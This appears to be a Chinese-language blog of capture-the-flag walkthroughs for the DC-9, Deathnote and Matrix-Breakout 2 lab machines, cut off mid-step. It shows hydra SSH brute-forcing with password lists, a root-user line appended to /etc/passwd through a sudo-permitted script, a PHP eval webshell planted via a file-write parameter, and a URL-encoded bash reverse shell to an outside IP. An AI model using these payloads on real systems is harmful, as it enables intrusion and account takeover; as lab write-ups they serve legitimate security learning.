phoebeb
scoots
janitor
janitor2
password:
3kfs86sfd
468sfdfsd2
4sfd87sfd1
RocksOff
TC&TheBoyz
B8m#48sd
Pebbles
BamBam01
UrAG0D!
Passw0rd
yN72#dsd
ILoveRachel
3248dsds7s
smellycats
YR3BVxxxw87
Ilovepeepee
Hawaii-Five-0
把username
和password
复制到两个文本文件中去
1 | hydra -L user.txt -P pass.txt 192.168.133.149 ssh |
发现有三个可以登录
login:
chandlerb
password:UrAG0D!
login:joeyt
password:Passw0rd
login:janitor
password:Ilovepeepee
我们先登录janitor
login:
janitor
password:Ilovepeepee
登录成功
4.提权
先执行
1 | sudo -l |
看看当前用户能以管理员身份执行哪些命令
看来我们没有资格
再执行
1 | ls -la |
查看当前用户目录文件
发现有个
1 | secrets-for-putin |
可能有管理员密码什么的
果然有个文本文件,查看
1 | cat passwords-found-on-post-it-notes.txt |
又多了几个密码
BamBam01
Passw0rd
smellycats
P0Lic#10-4
B4-Tru3-001
4uGU5T-NiGHts
我们把这个补充到我们九头蛇爆破的密码本里
再进行爆破ssh
1 | hydra -L user.txt -P pass.txt 192.168.133.149 ssh |
我们发现多了一个新的账号
login:
fredf
password:B4-Tru3-001
我们登录ssh
看看
再执行
1 | sudo -l |
发现其可以以无密码root
权限执行
1 | /opt/devstuff/dist/test/test |
我们执行一下试试
1 | sudo /opt/devstuff/dist/test/test |
提示我们有个test.py正在被读取使用
我们找一下这个文件在哪里
find / -name "test.py" -type f 2>/dev/null
-type
f代表类型为文件,d为目录2>/dev/null
产生更清晰的输出,因为它会丢弃错误,例如权限错误
我们到文件目录下查看一下内容
1 | #!/usr/bin/python |
py脚本利用
脚本接受了两个位置参数,并将第一个文件的内容,附加到第二个文件的内容中
其实如果我们有修改脚本的权限就好了,可以改成恶意脚本,但是我们并没有在这个目录写入的权限
于是,我们可以换个思路,就利用脚本的把一个文本内容附加到另外文本的能力,修改我们无法修改的文件,比如/etc/passwd
我们先看看/etc/passwd
里root
用户的格式
按这个格式我们写一个自己的
ttoc::0:0:root:/root:/bin/bash
我这里设置的用户ttoc密码为空
openssl
加盐
其实这里是需要给我们真假的用户添加密码的
不然是通过不了密码输入那一环,那里不允许密码为空
我们执行
openssl passwd -1 -salt salt password
-1
使用什么哈希算法。在我们的用例中,这无关紧要,因此我们使用 MD5,在现实世界的 PT 中应该避免使用 MD5,因为它不安全。
-salt
salt用作盐的字符串。我选择字符串盐
password
我们想使用的明文密码
得到
1 | $1$salt$qJH7.N4xYta3aEG/dfqo/0 |
注意如果开始没加密码就传入/etc/passwd,后面修改后再传用户,名字不能相同
但是注意我们其实在很多目录下都没有写入权限,但是我们可以用经典使用
/tmp
,临时文件目录下的权限管控一般不大
于是我们把我们的内容写入/tmp
目录下的evil
文件中
echo 'ttoc:$1$salt$qJH7.N4xYta3aEG/dfqo/0:0:0:root:/root:/bin/bash' > /tmp/evil
*注意这里需要单引号,双引号会把$后面参数当作变量
然后我们再执行
sudo /opt/devstuff/dist/test/test /tmp/evil /etc/passwd
把我们创建的用户root添加到文本去
最后登录ttoc
1 | su ttoc |
成功提取
读取flag
1
2
3
4
5
6
7
8 ███╗ ██╗██╗ ██████╗███████╗ ██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗██╗██╗██╗
████╗ ██║██║██╔════╝██╔════╝ ██║ ██║██╔═══██╗██╔══██╗██║ ██╔╝██║██║██║
██╔██╗ ██║██║██║ █████╗ ██║ █╗ ██║██║ ██║██████╔╝█████╔╝ ██║██║██║
██║╚██╗██║██║██║ ██╔══╝ ██║███╗██║██║ ██║██╔══██╗██╔═██╗ ╚═╝╚═╝╚═╝
██║ ╚████║██║╚██████╗███████╗ ╚███╔███╔╝╚██████╔╝██║ ██║██║ ██╗██╗██╗██╗
╚═╝ ╚═══╝╚═╝ ╚═════╝╚══════╝ ╚══╝╚══╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝╚═╝╚═╝
Congratulations - you have done well to get to this point.
Hope you enjoyed DC-9. Just wanted to send out a big thanks to all those
who have taken the time to complete the various DC challenges.
I also want to send out a big thank you to the various members of @m0tl3ycr3w .
They are an inspirational bunch of fellows.
Sure, they might smell a bit, but...just kidding. :-)
Sadly, all things must come to an end, and this will be the last ever
challenge in the DC series.
So long, and thanks for all the fish.
意思是:
恭喜 - 你已经完成了这一点。希望你喜欢 DC-9。只是想对所有这些人表示衷心的感谢
他们花时间完成了各种 DC 挑战。我还要向@m0tl3ycr3w 的各个成员表示衷心的感谢。
他们是一群鼓舞人心的人。
当然,它们可能会闻到一点味道,但是……开玩笑。 :-)
可悲的是,一切都必须结束,这将是最后一次
DC系列中的挑战。这么久,感谢所有的鱼。
一个旗子找完,游戏结束
【dc系列结束,阅读到本文的朋友,希望对你们有所帮助】
ELSE
一、DEATHNOTE: 1[初级]
基拉好帅,必须拿这个开头,直接提权进他的心【不是南通】
hint:
不要浪费太多时间跳出框框思考。这是一个直截了当的盒子。
找这个靶场ip
,就把我卡住了,后面看到好像这个靶机和vm
不兼容,只能用vitrualbox
后面下了个vitrualbox
才找到靶机ip
然后vm
也桥接,就找到了
顺带补充两个扫描工具【使用自行-h
查看】【感觉和nmap
差不多】
arp-scan
是Kali Linux自带的一款ARP扫描工具。该工具可以进行单一目标扫描,也可以进行批量扫描。批量扫描的时候,用户可以通过CIDR
地址范围或者列表文件的方式指定。该工具允许用户定制ARP包,构建非标准数据包。同时,该工具会自动解析Mac地址,给出MAC对应的硬
件厂商,帮助用户确认目标。
netdiscover
Netdiscover是一种网络扫描工具,通过ARP扫描发现活动主机,可以通过主动和被动两种模式进行ARP扫描。通过主动发送ARP请求检查网络ARP流量,通过自动扫描模式扫描网络地址。本文介绍Netdiscover的安装和使用方法。
信息收集
习惯nmap
扫一下
22
端口开放,运行ssh
80
端口开放,运行http
然后访问靶机ip
看到页面显示please wait.....
然后显示连接失败
看来是需要修改/etc/hosts
文件,添加靶机域名和ip
再次访问靶机ip
访问成功
我们先查看一下网站的框架
CMS
为wordpress 5.8
,很老的版本了,这里肯定有提权的方式采用脚本为
Twiiter Emoji
,这是推特的开源库里的引用表情的脚本,不是关键
我们看到页面有hint
Find a notes.txt file on server or SEE the L comment
意思是:
找到一个notes.txt 文件服务器上
或看看L的评论
那我们就可以用dirsearch扫一下,看看能不能找到notes.txt文件在哪里,以及评论网页在哪里
评论页面我是在首页面中间
i will eliminate you L!
链接跳转找到的,但好像没啥信息,似乎看不到L
的评论
1 | http://deathnote.vuln/wordpress/index.php/2021/07/19/kira/ |
左下角的
my fav line is iamjustic3
L on i will eliminate you L!
我最喜欢的台词是
iamjustic3
L
在 ,我会消灭你L!
iamjustic3
:分开看i am justic 3【我是正义的3】,但好像实际意思,后面看看能不能利用的
eliminate
:消灭,纯粹单词意思,没啥意义
我们先用dirsearch
扫一下找一下信息
*关键信息
关键登录页面和robots.txt
【其他页面没有啥信息】
1 | http://deathnote.vuln/wordpress/wp-login.php |
爬虫文本
fuck it my dad
added hint on /important.jpg
ryuk please delete it
意思是:
x我的爸爸
他把暗示藏在了/important.jpg
里ryuk,请删了它
ryuk是基拉的死神,基拉让他删除图片,同时图片也藏有信息
虽然我们找到了登录页面,以及用户名,但是还是不知道密码
所以还要找密码
我们先试试我们能不能查看/important.jpg
发现图片无法显示
看来图片格式有问题,应该是插入了文本什么的
我们用curl
1 | curl http://deathnote.vuln/important.jpg |
得到
i am Soichiro Yagami, light's father
i have a doubt if L is true about the assumption that light is kira
i can only help you by giving something important
login username : user.txt
i don't know the password.
find it by yourself
but i think it is in the hint section of site
意思是:
我是光的父亲 八神宗一郎
我怀疑 L 关于光是 kira 的假设是否正确我只能通过提供一些重要的东西来帮助你
登录用户名:
user.txt
我不知道密码。
自己找
但我认为它在网站的提示部分
#user.txt
看来需要同样访问找一下
#提示部分有密码,看来就是notes.txt
文本里了
那后面就是找一下这两个文本文件在哪里了
1.wpscan
既然信息不够,那我们就用对应的CMS
工具【wpscan
】扫一下看看有没有信息
1 | wpscan --url http://deathnote.vuln/wordpress -e u |
发现kira
才是真正的后台用户,那么ryuk
可能就是ssh
的登录用户,那他的密码是多少呢
这个时候我想起他的留言
my fav line is
iamjustic3
L on i will eliminate you L!
他说他最喜欢的台词是iamjustic3
既然是最喜欢的,那最有可能拿来当密码。所以这个可能就是kira
的后台网站的登陆密码
登录后台
kira
iamjustic3
登录成功
这个页面提醒需要管理员邮箱验证,直接remind me later
,我们先到后台看看
进来后台发现comments
页面,先看看能不能看到L
的评论
发现同样啥也没有
2.ssh登录
我们再看看其他页面
在Media
页面
我们发现了notes.txt
点开得到notes.txt
文本的位置
1 | http://deathnote.vuln/wordpress/wp-content/uploads/2021/07/notes.txt |
访问得到
看起来很像密码本
death4
death4life
death4u
death4ever
death4all
death420
death45
death4love
death49
death48
death456
death4014
1death4u
yaydeath44
thedeath4u2
thedeath4u
stickdeath420
reddeath44
megadeath44
megadeath4
killdeath405
hot2death4sho
death4south
death4now
death4l0ve
death4free
death4elmo
death4blood
death499Eyes301
death498
death4859
death47
death4545
death445
death444
death4387n
death4332387
death42521439
death42
death4138
death411
death405
death4me
我们试试爆破ssh
我们再弄个用户名本
就拿我们已知的三个用户,做成用户名本
kira
l
ryku
然后九头蛇爆破登录ssh
1 | hydra -L un.txt -P pass.txt 192.168.163.123 ssh -s 22 |
发现登录用户【看来用不上去找那个user.txt
】
l
death4me
然后我们试试登录
1 | ssh l@192.168.16.123 |
登录成功,并看到当前目录下有个文本文件user.txt
【无奈,现在找到应该也没啥用了】
查看一下
发现是串看不懂的文本
我们试试ciphey
解密一下
1 | ciphey -t "++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>+++++.<<++.>>+++++++++++.------------.+.+++++.---.<<.>>++++++++++.<<.>>--------------.++++++++.+++++.<<.>>.------------.---.<<.>>++++++++++++++.-----------.---.+++++++..<<.++++++++++++.------------.>>----------.+++++++++++++++++++.-.<<.>>+++++.----------.++++++.<<.>>++.--------.-.++++++.<<.>>------------------.+++.<<.>>----.+.++++++++++.-------.<<.>>+++++++++++++++.-----.<<.>>----.--.+++..<<.>>+.--------.<<.+++++++++++++.>>++++++.--.+++++++++.-----------------. |
得到
i think u got the shell , but you wont be able to kill me -kira
意思是:
我想你已经拿到shell了,但你杀不了我-基拉
感觉信息没啥用,但是大概猜测,杀死基拉是需要提权的,但是从L这里是无法提权,只有基拉才可以提权
我们可以试试我们能否以管理员身份执行一些命令
1 | sudo -l |
这样看来L
是无法以管理员身份执行任何命令,那就只有看看有没有其他路径了
我们再输入
1 | pwd |
看看我们当前路径
发现我们还有个上级目录,返回查看其下目录
居然还有个kira
的目录
我们看看有什么
发现其目录下的kira.txt
设置了权限
我们尝试用之前后台登录的密码登录,也失败了
3.登录kira
看来我们还需要找找信息,根据user.txt
文本信息,我们必须要成功登录kira
的用户,才可以提权拿到我们想要的东西
那我们直接搜索当前全部含有kira的文件或者目录
1 | find / -name "kira*" 2>/dev/null |
前两个前面访问过没权限
后面四个三个图片,最后一个也访问过,也没权限
那就只有一个了
1 | /opt/L/kira-case |
我们查看一下有无信息
发现其为一个目录,且其下有一个文本文件
the FBI agent died on December 27, 2006
1 week after the investigation of the task-force member/head.
aka.....
Soichiro Yagami's family .
hmmmmmmmmm......
and according to watari ,
he died as other died after Kira targeted them .
and we also found something in
fake-notebook-rule folder .
意思是:联邦调查局特工于 2006 年 12 月 27 日去世
工作组成员/负责人调查后 1 周。
又名……
八神宗一郎的家人。嗯嗯嗯嗯……
根据 Watari 的说法,
在基拉瞄准他们之后,他死了,其他人也死了。我们还发现了一些东西
假笔记本规则文件夹
看来我们需要到fake-notebook-rule
这个文件夹下寻找一番
1 | find / -name "fake-notebook-rule" 2>/dev/null |
找找位置
发现在
1 | /opt/L/fake-notebook-rule |
查看其下文件信息
大概意思看来就是让我们用cyberchef
对case.wav
的字符串解密【一眼16
进制,直接手动解码算了】
1 | 63 47 46 7a 63 33 64 6b 49 44 6f 67 61 32 6c 79 59 57 6c 7a 5a 58 5a 70 62 43 41 3d |
我们解码试试
解16
进制
解码base64
passwd :
kiraisevil
得到kira
密码
我们直接登录
1 | su kira |
登录成功
4.提权
我们先看看kira
能以管理员身份执行哪些命令
1 | sudo -l |
好家伙
1 | (ALL : ALL) ALL |
代表他可以以管理员身份执行一切命令,那他就相当于管理员了
执行
1 | sudo su |
直接无密码进入管理员用户
然后查看到根目录查看flag
1 | :::::::: :::::::: :::: ::: :::::::: ::::::::: ::: ::::::::::: :::::::: |
游戏结束
p.s.靶机彩蛋
之前我们以L
的身份查看kira
,发现他底下有个kira.txt
文本文件,我们无权访问
现在我们可以访问看看
发现是一串base64
加码字符
解码看看
please protect one of the following
L (/opt)
Misa (/var)
只能选其一来保护
/opt
底下的L
,我们已经看过了
我们看看/var
下的Misa
有什么
it is toooo late for misa
#对米沙而言,已经太迟了
感兴趣的朋友可以去看看DEATH NOTE
二、MATRIX-BREAKOUT:2 MORPHEUS[中级]
《矩阵突破》:2 墨菲斯
描述:
This is the second in the Matrix-Breakout series, subtitled Morpheus:1. It’s themed as a throwback to the first Matrix movie. You play Trinity, trying to investigate a computer on the Nebuchadnezzar that Cypher has locked everyone else out from, which holds the key to a mystery.
Difficulty: Medium-Hard
这是 Matrix-Breakout 系列中的第二部,副标题为 Morpheus:1。它的主题是回归第一部 Matrix 电影。您扮演 Trinity,试图调查 Nebuchadnezzar 上的一台计算机,Cypher 已将其他人拒之门外,而这台计算机掌握着解开谜团的钥匙。
难度:中等难度
wc确实有东西
实在不懂可以看这个研讨会视频https://www.beyondtrust.com/webinars/attacking-and-defending-linux-breaking-out-of-the-matrix-edition#video-container
虽然这个不是这个靶机的wp,但是我还是从其中获得很多思路
信息收集
先扫描一下端口
发现
22
端口开放,运行着ssh
80,81
两个端口都运行着http
但是两者名字不同,可以判断出
但是80端口可以任意访问,81
端口访问需要一定权限
发现81端口是需要登录的
然后dirsearch
扫一下目录
发现网站目录下有爬虫协议,我们可以访问看看其中有没有关键信息
There's no white rabbit here. Keep searching!
意思是:这里没有白兔。继续搜索!#
white rabbit
就是爱丽丝梦游仙境里的,跟着白色的兔子,掉进兔子洞看来是有个引导的信息,会带我们找到一个很关键的东西
再用whatweb
查看网站可显示的框架
没有啥信息
我们访问网站看看有没有其他信息
Welcome to the Boot2Root CTF, Morpheus:1.
You play Trinity, trying to investigate a computer on the Nebuchadnezzar that Cypher has locked everyone else out of, at least for ssh.
Good luck! - @jaybeale from @inguardians
意思是:
欢迎来到Boot2Root CTF,墨菲斯:1.你扮演
Trinity
,试图调查尼布甲尼撒半岛上的一台电脑,Cypher
把所有人都锁在外面,至少对于ssh
。祝你好运! -@jaybealefrom@inguardians
#Cypher电影中反抗组织的一个叛徒,他把反抗组织锁在门外,我们又要用到ssh
那看来ssh登录的用户名为Cypher
信息还是太少了,dirsearch
只扫到两个可以访问,实在利用太少
所以我们换个扫描工具
dirbuster
DirBuster支持全部的Web目录扫描方式,用来探测web服务器上的目录和隐藏文件
这里我利用的是
1 | /usr/share/dirbuster/wordlists/ |
我通过dirbuster
工具扫描到
1 | http://192.168.80.131/graffiti.php |
【看来dirsearch的目录太少了】
访问
1 | http://192.168.80.131/graffiti.php |
发现是个留言信息的一个网站
而且我们评论的信息被包含在了graffiti.php
文件中
猜测是文件写入
于是抓包查看
发现数据为
1 | message=hello&file=graffiti.txt |
message为写入信息
file为写入文件名称,而且还有后缀名字
那么如果修改后面的文件名称,我们是不是可以实现文件上传的效果,上传一个包含木马的文件
一句话🐎
那就写一个一句话
1 | eval($_POST['cmd']); @ |
然后再url
编码
于是最后
1 | message=%3C%3Fphp%20%40eval(%24_POST%5B'cmd'%5D)%3B%20%3F%3E&file=hello.php |
如果你是开了火绒,那你可能会看到,刚发送就被火绒检测到网站存在一句话🐎,代表确实是可以的
用nc
监听反弹shell
也是一样
1 | exec("/bin/bash -c 'bash -i >& /dev/tcp/172.22.204.2/1234 0>&1'"); |
得到
1 | message=%3C%3Fphp%20exec(%22%2Fbin%2Fbash%20-c%20'bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.22.204.2%2F1234%200%3E%261'%22)%3B%20%3F%3E&file=hello.php |
访问hello.php
文件
拿到shell
FLAG1
到根目录
Flag 1!
You’ve gotten onto the system. Now why has Cypher locked everyone out of it?
Can you find a way to get Cypher’s password? It seems like he gave it to
Agent Smith, so Smith could figure out where to meet him.Also, pull this image from the webserver on port 80 to get a flag.
/.cypher-neo.png
标志1 !
你已经进入系统了。为什么塞弗把所有人都锁在外面?
你能想办法拿到塞弗的密码吗?看来他把它给了
史密斯探员,这样史密斯就能找到和他见面的地方。另外,从端口80的web服务器上拉出这个图像来获得一个标志。/.cypher-neo.png
提示我们需要从网站上找到图片.cypher-neo.png
,拿到其中的密码
直接wget